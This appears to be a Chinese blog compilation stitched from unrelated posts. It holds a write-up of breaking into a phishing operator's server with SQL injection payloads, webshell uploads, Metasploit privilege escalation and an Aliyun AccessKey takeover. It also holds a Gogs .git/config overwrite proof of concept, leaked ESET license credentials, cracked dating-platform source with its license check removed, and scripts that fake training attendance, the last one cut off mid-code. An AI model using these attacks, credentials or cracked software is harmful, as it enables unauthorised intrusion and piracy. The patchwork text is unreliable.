2022年6月

故事起因

这天风和日丽,我正在摸鱼,忽然QQ群弹出一条消息,我打开一看,我感觉不简单。如下图:

扫码后发现跳转到了QQ邮箱登陆界面,确定为钓鱼网站,看到其域名为http://**kak2.cn。


这里随便输入,页面跳转到如下界面。


好家伙,小伙子你挺会玩啊,收集完QQ邮箱账号密码,再来收集一波个人信息,做人不能太贪心啊。开始干活!

溯源钓鱼者

我们现在拿到了他的域名,现在收集一下域名的相关信息。使用站长工具,如下图。

可以查到域名注册人的姓名和邮箱。邮箱显示不全,这里再通过微步来进行一下查询。如下图


这里有两点可以关注一下,这里拿到了完整的邮箱和知道了这里是阿里云的。

进行一下邮箱反查,发现该邮箱下在五六月份注册多个域名,姓名都是刘xx,大概率都是用来钓鱼的。


尝试添加QQ,发现查不到这个人,这就尴尬了。


关于钓鱼者的信息收集就告一段落,接下来开始干它网站。

进攻钓鱼网站

之前我们拿到了域名,现在对网站进行渗透,那思路是什么呢?我们可以进行一下子域名、目录等扫描,如果没什么信息,那就开始对钓鱼网站本身看看有没有能利用的地方。

首先进行一下子域名扫描,没什么发现,如下图:

然后开始对域名进行一下目录扫描,如下图


扫出来的目录,基本没有权限,都是403。没什么利用的点。

现在看来只能对网站本身进行一下渗透了,看看有没有能够利用的。现在打开收集个人信息的表单,按F12看看有没有我们值得关注的,如下:

之前目录扫描发现了uploads目录但是没有权限,这里找到了uploads/ads路径,尝试一下这里路径后端是否接收文件,构造上传数据包,发送数据,还是失败了。如下:

不要灰心,接着搞,我们还发现这里使用了form表单提交数据,然后自定义了一个函数chk(),现在我们跟进这个函数去看一眼。如下

在这里我们能够了解到,网站使用了ajax来进行数据传输,将数据提交到了本站的wap目录,然后身份证号码进行了一下简单的正则判断,规定输入为数字且位数为18位。既然是将数据提交到本站了,那么如果钓鱼者再后端接收数据时直接将参数拼接到SQL语句中,那么就可能存在SQL注入。现在我们构造数据,提交数据,然后抓取数据包来进行测试,抓取的数据包如下:

接下来开始测试是否存在SQL注入,name参数后添加单引号,发送数据,发现报错,存在SQL注入!


猜解一下数据库名,数据库版本,构造payload

' and updatexml(1,concat(0x7e,(select database()),0x7e),1)%23
and updatexml(1,concat(0x7e,(select @@version,0x7e),1)%23


数据库名是a7,猜解一下表名,构造payload如下

'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='a7')),0)%23

发现无法获取表名,我有一种不详的预感。

果然换用一些其他的函数,发现也是无法获取表名,可能是没有权限。真让人伤心,这个老六。

现在用sqlmap跑一下吧,结果如下

只能跑出来a7这个数据库,information_schema这个库获取不到,怪不得手工注入也拿不到表名呢。唉,现在尝试一下os-shell吧,看看有没有运气。如下


看来运气并不好,失败了。不过,虽然失败了,但是我们也知道了现在的服务器系统为Linux,并且有了路径,我们就把它当成绝对路径吧,死马当活马医,看看能不能写入文件,构造payload:

into outfile '\\www\\wwwroot\\p******7.a******ka.cn\\config\\wap\\test.php' FIELDS TERMINATED BY '<?php phpinfo();?>'%23

结果如下,还是失败了。

又尝试了一些其他的方法,发现收获不大。

峰回路转

真的拿不下它服务器了吗?我不信,晚上的时候,事情迎来了转机,当时我正在划水,一条好友申请打破了平静,当我同意时,大哥人狠话不多,直接URL和账号密码发了过来,包括源码的压缩包也扫出来了。在这里给大师傅递根烟。

这里大师傅也给我拓宽了思路,扫目录的时候多尝试几个工具,可能会有不一样的惊喜。访问url使用账号密码登陆,界面如下。

登陆后,我们发现,这是一个帝国备份王的一个开源CMS。当我们知道是开源的时候,首先的思路是网上有没有一些公开的漏洞供我们使用。比如我们可以这样搜索 EmpireBak v2010 后台 RCE,结果如下

红箭头指的这篇文章就很合适,通过看文章,我们也了解了getshell的思路,就是替换文件内容。具体流程就是我们可以先备份数据,然后点击管理备份目录,点击替换文件内容。

思路是有了,但是现在还有问题,就是备份王链接不上mysql,导致备份功能无法使用,但是不着急,这里备份王提供了一个功能,就是参数设置。如下

如果我们知道了数据库的账号密码和数据库名,是不是就可以尝试连接数据库了。所以现在重点是获取数据库账号密码。这如何获取呢?不要忘记了,之前我们拿到了钓鱼网站的源码压缩包,现在来解压来分析一下源码。找一找配置文件,可能有我们需要的信息。源码目录如下

现在尝试找一下数据库的配置文件,如下,果然拿到的我们想要的信息

现在去网站尝试一下看看是否连接成功,果然不出所料,连接成功,如下


现在可以尝试拿shell了。喝口水压压惊,和大师傅同步一下信息,一个人孤军奋战,怎么能抵得上两个人一起日站的快乐呢。

进后台

之前咱们看源码,发现有一个a1文件夹,查看文件夹相关文件,知道这是后台的路径

我们访问一下,发现404


应该是把后台路径改掉了,不要紧,我们简单尝试一下,发现改为a7了,现在访问a7界面如下

还是尝试使用备份王的账号密码,发现登陆成功



后台也就拿下了。查看信息,发现大部分都是脏数据了。再去问大师傅看看他那里有没有什么信息。


登陆师傅提供的地址如下


这里还是有一些数据的,还是有上当受骗的,自己的个人信息被骗完了,最后还输入了自己的手机号,接到了验证码,还把验证码提交到了钓鱼网站。腾讯的防盗机制,二次认证也挡不住钓鱼网站套路多。在这里提醒大家一定要提高警惕,提示输入个人信息的地方一定要留个心眼。

Getshell

现在咱们按照之前的思路Getshell,先压缩,然后将压缩包下载下来。

然后遇到了新的问题,下载下来的文件都是空文件,


没有数据,所以也就无法替换,也就无法Getshell了。这是什么人间疾苦。现在问问大师傅,看看大师傅进行到哪一步了。

看来也卡住了,不要灰心,不要放弃任何一个细节,再去看看备份目录,尝试将最初备份文件下载下来,进行查看。

功夫不负有心人,成功。

到如下界面替换,上面填写原内容,替换内容填入冰蝎木马。

正要尝试替换config.php文件的内容。想着先访问一下,居然出现了大马界面,大师傅先我一步下手了?去问一下

果然是大师傅干的,没想到冰蝎和哥斯拉的马子已经上去了,爱了爱了。上冰蝎,查看文件管理如下

提权之路

上面我们拿到了webshell,完成了第一步,现在开始提权了,冰蝎为我们提供了反弹shell的功能,这里我们使用冰蝎将shell弹到MSF中。去瞅一眼大师傅进度。

这就是大腿的感觉吗?太幸福了。这里说一下提权的思路。msf里面有个可以自动提权的suggester,我们直接选择就可以了,如下


选择第一个后,开始提权!


在这里我们也是成功的拿到了服务器的root权限。如下图


拿到root权限就好办事了,查看账户,也是发现了ssh的端口和账号密码,登陆ssh如下:


因为钓鱼网站是用宝塔搭建的,所以这里看了看宝塔相关信息,包括面板登陆页,账号密码等等。大师傅也是贴心的把拿到的资产都整理好了。


第一个师傅发第一个json文件中有泄露的Access key 我们可以通过使用相关工具直接接管相关服务器。


网上有现成的工具,如下图,工具链接:https://github.com/mrknow001/aliyun-accesskey-Tools

最后,大师傅贴心的总结了文本,爱了。总结了宝塔,phpmyadmin,SSH等相关资产。


小结
关于钓鱼网站的相关内容就分享到这里啦,咱们从最开始的一个Web弱口令,到日穿钓鱼服务器,中间也是几经波折,最后还是幸不辱命。

正文
internal/db/repo_editor.go#L490-L495

func isRepositoryGitPath(path string) bool {
    return strings.HasSuffix(path, ".git") || strings.Contains(path, ".git"+string(os.PathSeparator))
}
 
func (repo *Repository) UploadRepoFiles(doer *User, opts UploadRepoFileOptions) (err error) {
...
// Copy uploaded files into repository
    for _, upload := range uploads {
        tmpPath := upload.LocalPath()
        if !osutil.IsFile(tmpPath) {
            continue
        }
 
        // Prevent copying files into .git directory, see https://gogs.io/gogs/issues/5558.
        // 这里做了修复,判断了是否含有.git
        if isRepositoryGitPath(upload.Name) {
            continue
        }
 
        targetPath := path.Join(dirPath, upload.Name)
        if err = com.Copy(tmpPath, targetPath); err != nil {
            return fmt.Errorf("copy: %v", err)
        }
    }
...
 
}

本地创建一个文件名为config

[core]
    repositoryformatversion = 0
    filemode = true
    bare = false
    logallrefupdates = true
    ignorecase = true
    precomposeunicode = true
    sshCommand = echo pwnned > /tmp/poc
[remote "origin"]
    url = git@github.com:torvalds/linux.git
    fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
    remote = origin
    merge = refs/heads/master

然后再gogs的web页面新建一个repo,然后本地随便初始化一个git同步上去
然后上传文件,上传的时候抓包,修改tree_path=/.git/
漏洞形成的原因是因为没有对tree_path进行验证,导致可以目录穿越,覆盖到repo的.git文件夹


参考链接
https://github.com/gogs/gogs
https://huntr.dev/bounties/b4928cfe-4110-462f-a180-6d5673797902/
https://github.com/gogs/gogs/blob/3e353717540950a1459b3da7f28cc50df4a52119/internal/db/repo_editor.go#L450

个人提取 非来自网络

EIS

用 户 名: TRIAL-0288809931
密 码: pmjpvdjj6v
B9SX-X8UU-AHFH-MJT3-BNAC

用 户 名: TRIAL-0288809932
密 码: h8esr2d9ra
GXKK-XW5F-SFHV-DX3S-3FND

用 户 名: TRIAL-0288810299
密 码: 38vfc5u8fd
P2E5-XUFE-JG8A-X9S3-3HGJ

用 户 名: TRIAL-0288810661
密 码: v7n8pev95n
8B34-X5FS-WTWE-8B6N-WU82

ESSP

=====================================
用 户 名: TRIAL-0351374512
密 码: jpdk2r79mb
SMUK-XSUC-AVUR-EXN6-RE42

=====================================
用 户 名: TRIAL-0351376730
密 码: u74jubcnst
RFBA-X9CT-RA4H-K555-U7VV

=====================================
用 户 名: TRIAL-0351376734
密 码: s8uads6msf
H7MM-XVFT-TMFB-4ABA-4R9E

=====================================
用 户 名: TRIAL-0351381076
密 码: 6ktph99r9n
5CAT-XCJU-PAS6-PPJN-D6A2

Photoshop是一款在线图片编辑软件,有很多朋友们都是在用PS作图的,众所周知在使用和学习PS时是需要下载软件的,Photoshop软件对电脑配置也是有一定要求的,今天就为大家带来一款可以实现用浏览器就可以让你在线进行P图和作图的网页在线ps网站源码,用户只需打开网页就可以流畅进行做图,相当方便快捷,并且网页版ps也拥有软件端的大部分功能,有时候编辑一张照片使用网页版比重新安装使用一个PS快的多。

只需要将在线ps源码导入到虚拟主机或服务器中直接打开index.php文件就可以访问网页版ps了,绿色免安装直接在您的浏览器上用它修正,调整和美化您的图像。

风格截图

本套源码为独立版,前端是h5的,有三套模板可切换,后台是thinkphp的框架。有文档搭建教程。

有代理商模式 可付费购买代理商 有分销功能 成为代理商后,可获取下级分成。

本系统免公gz号支持第三方免签约支付;

支持打包安卓+IOS双端 支付接口:微信官方接口+易支付;

主要盈利点:开启收费开启盲盒 投放付费 条件筛选付费!可设置付费购买代理(代理就是摊主红娘);

只是去除授权,其他原版未动,版本号为1.8;

平台介绍

共分为九大模块,分别为:留一个、取一个、订单管理、新闻管理、合作伙伴、广告管理、日志、设置、系统设置;

留一个:可以对用户提交的留一个信息进行修改、删除、查看、筛选和添加信息;

取一个:可以对用户抽取的信息进行查看、筛选;

订单管理:可以对用户提交的订单信息进行查看、筛选、导出;

新闻管理:可以发布/修改/删除公告、新闻等内容;

合作伙伴:可以发布/修改/删除合作伙伴信息,在首页底部滚动展示;

广告管理:可以管理站内广告和banner轮播图等信息;

日志:记录管理员操作日志和登录日志;

设置:分为基础配置和配置,支持接入谷歌验证器。

配置为系统基本信息:标题、SEO信息、统计代码等,基础配置可以设置站点的所有基本信息

具体信息见下图;系统设置:支持设置权限组、多管理员、IP黑名单、地址管理等信息;

风格截图




搭建说明

详见压缩包内!

[bshide]下载链接:https://pan.baidu.com/share/init?surl=mujlXO7ADc5fwLaK71Nlmw
提取码:cxsn[/bshide]

使用本程序即默认接受以下条款:
1、禁止站长倒卖盲盒、用户数据,仅提供参考学习之用!

2、禁止将用户、盲盒数据用于非法犯规等相关一切相关活动!

3、禁止一切有害公民合法权益的一切相关行为。触犯以上即相关行为后果自负!

程序已删除授权检测代码,仅供学习交流!!

运行环境

PHP+MYSQL
本程序需要服务器才能搭建,普通虚拟主机无法搭建!

风格截图

更新日志

  1. 自定义支付接口;
  2. 优化全站U显示;
  3. 优化后台菜单布局;
  4. 优化金额单位;
  5. 优化用户注册记录ip;
  6. 优化盲盒统计已删除自盒数据;
  7. 优化分销订单提成显示效果;
  8. 新增自定义开启前台盲盒数据显示;
  9. 新增抽、投用户协议;
  10. 新增有盒审核增加待审核,已审核选项;
  11. 新增开通分销选择支付方式;
  12. 新增交易成功金额统计;
  13. 新增首页自定义投诉通道;
  14. 新增自定义抽到次数删除,物理删除;
  15. 新增地区投放开关;
  16. 新增自定义开启分销功能;
  17. 新增站长手动操作用户级别;
  18. 新增星座匹配、投放功能;
  19. 新增注册限制;
  20. 新增地区抽奖开关;
  21. 新增学校投放开关;
  22. 新增学校抽奖开关;
  23. 新增自定义操作学校;
  24. 新增投放年龄选项;
  25. 新增订单管理;
  26. 新增站长后台顶部滚动通知;
  27. 新增一键清理未支付订单;
  28. 修复盲盒审核数据显示;
  29. 修复分销订单记录不显示;
  30. 修复提现审核二维码回显;
  31. 修复付费投放育盒个人中心无记录;

[bslogin]
下载链接:https://pan.baidu.com/s/1tfbvsmoiCtXNI28h1F0dLw
提取码:4jzj
[/bslogin]

保密观线上培训自动播放脚本

依赖: python3 webbrowser win32api win32con

注意点: (使用之前需要先登陆一下,浏览器session保存用户的登录信息)
1.浏览器路径替换为用户自己浏览器的路径(已修改:改为使用用户系统默认浏览器)

2.鼠标按钮区域可能需要用户自动手动更改自己适合的坐标

获取开始播放按钮方式: Prt Sc截图按钮全屏截图,然后在画图打开,打开之后切换成画笔移动到开始播放按钮 此时画图界面的左下角显示的就是坐标,按照坐标改程序前几行就行

自动可以学习到4学时以上

视频打开后用户可以用电脑干别的事情,等待下一个视频打开后用户最好不要操作,等待视频开始 视频开始播放后就可以切换到其他程序,此时可以正常使用电脑

import time
import os
import io
import webbrowser
# import ddddocr
# import pyautogui
import win32api
import win32con
import math

import threading

######################
# 新的方法不用输入用户浏览器Path了,可以直接调用系统默认浏览器
# 需要用户设置的唯一参数(鼠标点击位置),即开始播放的按钮在屏幕的坐标位置
# 打开一个视频,然后全屏截图之后在画图打开,切换到画笔
# 然后看左下角显示的数字,分别就是x和y

# 有不看的视频注释即可
######################
x = 465
y = 1005

urlAndTime = {
# [必修]第1课 红色保密 百年征程
'http://www.baomi.org.cn/bmVideo?id=fc5489db-34c7-4db1-a856-96d501ea5a78&docId=580&doclibId=3&pubId=&resourceId=56733c5e-9b0a-4e8c-b222-d8a9400e7a72':13.22, # 红色保密 百年征程 0.3
# 第2课 传承红色基因 弘扬保密传统
'http://www.baomi.org.cn/bmVideo?id=fc5489db-34c7-4db1-a856-96d501ea5a78&docId=578&doclibId=3&pubId=&resourceId=b2358834-c24c-41db-bdb6-cbc473c75f1b':6.30, # 1.党的保密工作优良传统 0.14
'http://www.baomi.org.cn/bmVideo?id=fc5489db-34c7-4db1-a856-96d501ea5a78&docId=576&doclibId=3&pubId=&resourceId=6270c6f3-fae7-4625-9b1b-fc5764bbde01':4.50, # 2.坚定的理想信念 0.1
'http://www.baomi.org.cn/bmVideo?id=fc5489db-34c7-4db1-a856-96d501ea5a78&docId=574&doclibId=3&pubId=&resourceId=374a7ddd-49b5-4a70-890f-9f727d789342':3.52, # 3.强烈的忧患意识 0.08
'http://www.baomi.org.cn/bmVideo?id=fc5489db-34c7-4db1-a856-96d501ea5a78&docId=572&doclibId=3&pubId=&resourceId=2af1231f-997e-450b-9b1c-6973a7229a2b':4.42, # 4.严格的纪律约束 0.1
'http://www.baomi.org.cn/bmVideo?id=fc5489db-34c7-4db1-a856-96d501ea5a78&docId=570&doclibId=3&pubId=&resourceId=91f436db-4fa6-49c2-8347-8d9628c9c9fa':4.38, # 5.紧紧地依靠人民 0.1
'http://www.baomi.org.cn/bmVideo?id=fc5489db-34c7-4db1-a856-96d501ea5a78&docId=568&doclibId=3&pubId=&resourceId=97080222-7653-4100-9587-7421556977e5':5.05, # 6.持续的技术对抗 0.1
'http://www.baomi.org.cn/bmVideo?id=fc5489db-34c7-4db1-a856-96d501ea5a78&docId=566&doclibId=3&pubId=&resourceId=25d0e1a9-dbbf-44b5-ac19-9c004f9f3407':4.57, # 7.领导的率先垂范 0.1
# 第3课 “党史上的保密印记”系列
'http://www.baomi.org.cn/bmVideo?id=fc5489db-34c7-4db1-a856-96d501ea5a78&docId=592&doclibId=3&pubId=&resourceId=1ac1cf02-5182-40b5-bb20-b2e1686cf57b':2.13, # 1.誓与密码共存亡 0.05
'http://www.baomi.org.cn/bmVideo?id=fc5489db-34c7-4db1-a856-96d501ea5a78&docId=590&doclibId=3&pubId=&resourceId=70f222a1-5441-497c-8f84-6105dadd3737':3.40, # 2.革命航船破浪启航 0.08
'http://www.baomi.org.cn/bmVideo?id=fc5489db-34c7-4db1-a856-96d501ea5a78&docId=588&doclibId=3&pubId=&resourceId=2a065b94-2a7d-4b8f-b581-1504a2451799':3.40, # 3.手摇发电机的长征之路 0.08
'http://www.baomi.org.cn/bmVideo?id=fc5489db-34c7-4db1-a856-96d501ea5a78&docId=586&doclibId=3&pubId=&resourceId=4ed78416-c441-4328-8f64-407d5adfec4b':4.25, # 4.西安事变前夕 0.1
'http://www.baomi.org.cn/bmVideo?id=fc5489db-34c7-4db1-a856-96d501ea5a78&docId=584&doclibId=3&pubId=&resourceId=22b35616-8830-400b-a74b-89bfd525f828':4.28, # 5.共和国的谍战玫瑰 0.1
'http://www.baomi.org.cn/bmVideo?id=fc5489db-34c7-4db1-a856-96d501ea5a78&docId=582&doclibId=3&pubId=&resourceId=8e703fa2-1592-4c78-8670-e346ff8e9ee5':3.51, # 6.一苏大的保密空城计 0.08

# [必修]第1课 红线不能触碰底线不能逾越
'http://www.baomi.org.cn/bmVideo?id=fc5489db-34c7-4db1-a856-96d501ea5a78&docId=644&doclibId=3&pubId=&resourceId=a91aafa5-d9b7-422e-aaa9-0e0c3045345c':5.47, # 1.利欲熏心窃秘密 锒铛入狱悔莫及
'http://www.baomi.org.cn/bmVideo?id=fc5489db-34c7-4db1-a856-96d501ea5a78&docId=642&doclibId=3&pubId=&resourceId=5a744db1-ebb1-440f-91d4-6c29467008a7':6.29, # 2.出售废品莫大意 认真清点防泄密
'http://www.baomi.org.cn/bmVideo?id=fc5489db-34c7-4db1-a856-96d501ea5a78&docId=640&doclibId=3&pubId=&resourceId=a3e4d860-934c-4f65-a799-74df608bd250':7.33, # 3.密件岂能随便邮 快递传密栽跟头
'http://www.baomi.org.cn/bmVideo?id=fc5489db-34c7-4db1-a856-96d501ea5a78&docId=638&doclibId=3&pubId=&resourceId=1204e5fb-bdee-4a81-8f78-2354634465a1':5.31, # 4.擅携密件出国境 麻痹侥幸毁前程
'http://www.baomi.org.cn/bmVideo?id=fc5489db-34c7-4db1-a856-96d501ea5a78&docId=636&doclibId=3&pubId=&resourceId=5ae3afab-bb82-4e78-bed3-beb2384f0ad5':6.39, # 5.私自留存隐患多 贪图方便酿恶果
'http://www.baomi.org.cn/bmVideo?id=fc5489db-34c7-4db1-a856-96d501ea5a78&docId=634&doclibId=3&pubId=&resourceId=75029480-ec24-4439-a293-f9a37bec7d8d':5.37, # 6.私人交往有禁忌 泄露秘密违法纪
'http://www.baomi.org.cn/bmVideo?id=fc5489db-34c7-4db1-a856-96d501ea5a78&docId=632&doclibId=3&pubId=&resourceId=ab6473b5-a9a7-4001-a89f-9c78441b410f':5.53, # 7.公共网络很便利 严禁使用传秘密
'http://www.baomi.org.cn/bmVideo?id=fc5489db-34c7-4db1-a856-96d501ea5a78&docId=628&doclibId=3&pubId=&resourceId=2491d0da-35c7-44b2-b7f1-673c4f25c010':5.52, # 8.违规联网为红颜 依法判刑悔已晚
'http://www.baomi.org.cn/bmVideo?id=fc5489db-34c7-4db1-a856-96d501ea5a78&docId=626&doclibId=3&pubId=&resourceId=ad1820c6-079f-48ae-ade7-1f5b2c034359':7.20, # 9.涉密非密有界限 交叉互联埋隐患
'http://www.baomi.org.cn/bmVideo?id=fc5489db-34c7-4db1-a856-96d501ea5a78&docId=624&doclibId=3&pubId=&resourceId=c3ba5041-cee1-45e2-944d-b711775eb6c0':5.47, # 10.非密电脑存秘密 拱手相送犯大忌
'http://www.baomi.org.cn/bmVideo?id=fc5489db-34c7-4db1-a856-96d501ea5a78&docId=622&doclibId=3&pubId=&resourceId=f585b736-1515-4f22-af37-4e077b6a4f57':7.03, # 11.安全程序防攻击 擅自卸载违法纪
'http://www.baomi.org.cn/bmVideo?id=fc5489db-34c7-4db1-a856-96d501ea5a78&docId=620&doclibId=3&pubId=&resourceId=3594f4df-a8e8-43fe-9f94-af2e898b7fba':7.07, # 12.涉密设备要淘汰 擅自处理不应该


# [必修]第1课 “秒懂保密”系列之涉密人员保密管理
'http://www.baomi.org.cn/bmVideo?id=fc5489db-34c7-4db1-a856-96d501ea5a78&docId=514&doclibId=3&pubId=&resourceId=9b84efe2-f8af-47b0-b030-d9d7bbe29a6b':1.58, # 1.涉密人员与涉密岗位
'http://www.baomi.org.cn/bmVideo?id=fc5489db-34c7-4db1-a856-96d501ea5a78&docId=516&doclibId=3&pubId=&resourceId=4f19e38c-be2d-4484-8dc5-175abe12038d':2.32, # 2.涉密人员保密审查
'http://www.baomi.org.cn/bmVideo?id=fc5489db-34c7-4db1-a856-96d501ea5a78&docId=518&doclibId=3&pubId=&resourceId=9e519ac1-eb92-46ac-b25f-a3d13cf71ce8':2.35, # 3.涉密人员上岗前保密管理
'http://www.baomi.org.cn/bmVideo?id=fc5489db-34c7-4db1-a856-96d501ea5a78&docId=520&doclibId=3&pubId=&resourceId=6c52f617-a459-4d7d-b5b9-77995f86872b':2.31, # 4.涉密人员在岗培训、复审与重大事项报告
'http://www.baomi.org.cn/bmVideo?id=fc5489db-34c7-4db1-a856-96d501ea5a78&docId=522&doclibId=3&pubId=&resourceId=b381bbf7-1f8e-41e4-9f23-0e9ec53e8908':3.10, # 5.涉密人员出国(境)管理
'http://www.baomi.org.cn/bmVideo?id=fc5489db-34c7-4db1-a856-96d501ea5a78&docId=530&doclibId=3&pubId=&resourceId=38d66f3f-e25e-4eb8-a28d-84f1d173767c':2.26, # 6.涉密人员离岗离职保密管理
'http://www.baomi.org.cn/bmVideo?id=fc5489db-34c7-4db1-a856-96d501ea5a78&docId=526&doclibId=3&pubId=&resourceId=3bd3300e-8561-4186-ba02-b6323248e9d4':3.10, # 7.涉密人员脱密期管理
'http://www.baomi.org.cn/bmVideo?id=fc5489db-34c7-4db1-a856-96d501ea5a78&docId=528&doclibId=3&pubId=&resourceId=1f415688-9796-4495-8910-3c24d05b4540':1.50, # 8.涉密人员义务与权益保障

#[必修]第1课 风险四伏的办公自动化设备
'http://www.baomi.org.cn/bmVideo?id=fc5489db-34c7-4db1-a856-96d501ea5a78&docId=3083&doclibId=3&pubId=&resourceId=a347302e-4518-45c3-b565-c638e12dbdfd':31.46, #

# [必修] 第1课“密”案解读——保密警示案例专题片
'http://www.baomi.org.cn/bmVideo?id=fc5489db-34c7-4db1-a856-96d501ea5a78&docId=3144&doclibId=3&pubId=&resourceId=4387e160-ae6c-4f89-8be3-291a3ab1da67':27.34

# 这些就有4.38学时了

}

# MacOS
# chrome_path = 'open -a /Applications/Google\ Chrome.app %s'

# Windows
# chrome_path = 'E:/Software/Google/Chrome/Application/chrome.exe %s'

# Linux
# chrome_path = '/usr/bin/google-chrome %s'

def image2byte(image):
    '''
    图片转byte
    image: 必须是PIL格式
    image_bytes: 二进制
    '''
    # 创建一个字节流管道
    img_bytes = io.BytesIO()
    # 将图片数据存入字节流管道, format可以按照具体文件的格式填写
    image.save(img_bytes, format="JPEG")
    # 从字节流管道中获取二进制
    image_bytes = img_bytes.getvalue()
    return image_bytes

#模拟鼠标点击
def mouse_click(x, y):
    win32api.SetCursorPos([x, y])
    win32api.mouse_event(win32con.MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0)
    win32api.mouse_event(win32con.MOUSEEVENTF_LEFTUP, 0, 0, 0, 0)

# 主线程
class mainThread (threading.Thread):   #继承父类threading.Thread
    def __init__(self, url):
        threading.Thread.__init__(self)
        self.url = url
    def run(self):
        # 先确保chrome被关闭了
        os.system("taskkill /im chrome.exe /f")
        time.sleep(2)

        # 创建子线程
        thread1 = childThread(1, "chrome", self.url)
        thread2 = childThread(2, "play", self.url)

        # 开启线程
        thread1.start()
        thread2.start()



# 子线程
class childThread (threading.Thread):   #继承父类threading.Thread
    def __init__(self, threadID, name, url):
        threading.Thread.__init__(self)
        self.threadID = threadID
        self.name = name
        self.url = url
    def run(self):                   #把要执行的代码写到run函数里面 线程在创建后会直接运行run函数 
        if(self.name == "chrome"):
            time.sleep(0.1)
            url = self.url

            # 老方法需要填写用户本地浏览器地址,新方法直接调用用户默认浏览器
            # chrome_path = 'C://Users//CZY//AppData//Local//Google//Chrome//Application//chrome.exe %s'
            # webbrowser.get(chrome_path).open(url)

            # 新方法,用户默认打开网页就行了
            webbrowser.open(url)

            print("chrome threading over")
        elif(self.name == "play"):

            # # 先给线程加一个锁
            # threading.Lock().acquire()

            # 休眠一段时间,确保chrome完全加载完成
            time.sleep(8)

            # 模拟鼠标点击
            mouse_click(x, y) # 点击开始播放图标 不同的人可能不太一样,我是根据我的屏幕浏览器全屏

            # 获取sleep时间
            video_time = urlAndTime[self.url]
            sleep_time = int(video_time)*60 + int(math.modf(video_time)[0]*100)
            print("sleep time = %f"%sleep_time)
            time.sleep(sleep_time + 8) # 多看5秒钟,确保容错


            ###
            # OCR准确率不够,手写吧
            ###

            # win32api.keybd_event(17,0,0,0) #ctrl键位码是17
            # win32api.keybd_event(65,0,0,0) #A键位码是65
            # time.sleep(0.1)
            # win32api.keybd_event(65,0,win32con.KEYEVENTF_KEYUP,0) #释放按键
            # win32api.keybd_event(17,0,win32con.KEYEVENTF_KEYUP,0)

            # img = pyautogui.screenshot(region=(450,990, 110, 34)) # 得到截图区域
            # img.save("./1.jpg")

            # ocr = ddddocr.DdddOcr()
            # video_time = ocr.classification(image2byte(img)) # 得到截图区域文本
            # print("get video time%s"%video_time)

            # 关闭chrome
            os.system("taskkill /im chrome.exe /f")

            # # 释放锁,开启下一个线程
            # threading.Lock().release()

for url in urlAndTime:
    # main_thread = childThread(2, "play", url)
    # main_thread.start()
    # main_thread.join()

    # 先确保chrome被关闭了
    os.system("taskkill /im chrome.exe /f")
    time.sleep(2.5)
    
    # 创建子线程
    thread1 = childThread(1, "chrome", url)
    thread2 = childThread(2, "play", url)

    # 开启线程
    thread1.start()
    thread2.start()

    thread1.join()
    thread2.join()

    

print("Exiting Main Thread")

原理分析

​ python 的selenium 库可模拟人的行为去操作浏览器, 是web自动化测试工具, 同时也可定制一些特定脚本去模拟人观看视频.

​ selenium的使用需要用到浏览器驱动,此处以chrome为例进行测试.

环境配置与搭建

​ python:3.10

​ selenium:4.1.3

如何安装selenium?

在pycharm的Terminal(终端)执行pip install selenium

​ chrome:100.0.4896.75

​ 如何查看chrome版本?

在chrome地址栏输入chrome://version,第一行即是版本

​ chrome驱动:100.0.4896.60

如何根据下载驱动?

https://chromedriver.storage.googleapis.com/index.html在网址中找到对应chrome版本的驱动(版本号相近即可),

下载"chromedriver_win32.zip",将里面的"chromedriver.exe"放到与main.py同一目录下

成果演示


实现过程

1.安装完selenium和python后,将驱动安放好位置,还需要进行一些额外配置

首先将chrome安装目录"C:\Program Files\Google\Chrome\Application"(默认为这个,需要根据你的电脑自行查找)添加到环境变量path,添加过程详见百度

接着按下win+R,输入命令

chrome.exe --remote-debugging-port=9222 --user-data-dir="D:/selenium_test"

会打开浏览器调试窗口

2.我们首先需要在上一步打开的窗口人为登录,进入如下界面(若使用selenium登录需要用到验证码,而验证码的识别需要第三方接口...付费,因此略去)

3.接下来运行程序

注意问题

1.不要最小化浏览器,推荐在夜晚刷视频.

2.脚本虽设置检测暂停之后自动播放,但有时会遇到网站一直暂停的情况,此时需要点击浏览器聚焦

3.最好不要在调试浏览器的窗口新开标签页

4.无第三方题库接口,目前打算利用爬虫爬取题库,人工录入答案.

5.可使用浏览器插件global speed(同时点击设置,开启幽灵模式),开始16倍速,更为方便.

代码:

# chrome.exe --remote-debugging-port=9222 --user-data-dir="D:/selenium_test"
# https://dxpx.uestc.edu.cn/
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
from selenium.webdriver.chrome.options import Options
from selenium.webdriver.common.by import By
from selenium.webdriver.common.keys import Keys
import time


def address_pause():
    """处理视频暂停问题"""
    if wd.find_element(By.CSS_SELECTOR, '#wrapper > div > div.plyr__controls > button:nth-child(1)').get_attribute(
            "aria-label") == "Play":
        wd.find_element(By.CSS_SELECTOR, '#wrapper > div > div.plyr__controls > button:nth-child(1)').send_keys(
            Keys.ENTER)
        print("检测到视频暂停,继续播放")


def remove_blank():
    """更改属性target为'_self'"""
    js = 'var items = document.getElementsByTagName("a");for (var i = 0; i < items.length; i++) {var tmp = items[' \
         'i];tmp.target="_self";} '
    wd.execute_script(js)


def manage(j):
    """处理视频"""
    necessary = wd.find_elements(By.CSS_SELECTOR,
                                 'body > div > div.w1150 > div.wrap_right > div.lesson1_cont.q_lesson1_cont > '
                                 'div.lesson1_lists > ul > li')  # 必修的课程列表
    necessary[j].find_element(By.CSS_SELECTOR, 'h2 a').send_keys(Keys.ENTER)  # 此后进入视频
    time.sleep(3)
    little_one = wd.find_elements(By.CSS_SELECTOR, 'a[style]')  # 侧边栏的课程列表
    length_little_one = len(little_one)
    index = 1  # 第几个视频
    print("成功加载侧边栏的课程列表,一共{}个视频".format(length_little_one))
    for k in range(length_little_one):
        little_one = wd.find_elements(By.CSS_SELECTOR, 'a[style]')  # 侧边栏的课程列表
        print("正在播放第{}个视频,一共{}个".format(index, length_little_one))
        if "red" in little_one[k].get_attribute("style"):
            print("视频{}播放完成,即将播放下一个视频".format(index))
            index += 1
            continue
        little_one[k].send_keys(Keys.ENTER)
        while True:
            print("剩余时间:" + wd.find_element(By.CSS_SELECTOR, 'div[aria-label="Current time"]').get_attribute(
                "innerText").replace('-', ''))
            address_pause()
            time.sleep(3)
            if wd.find_element(By.CSS_SELECTOR, 'div[aria-label="Current time"]').get_attribute(
                    "innerText").replace('-', '') == "00:00":
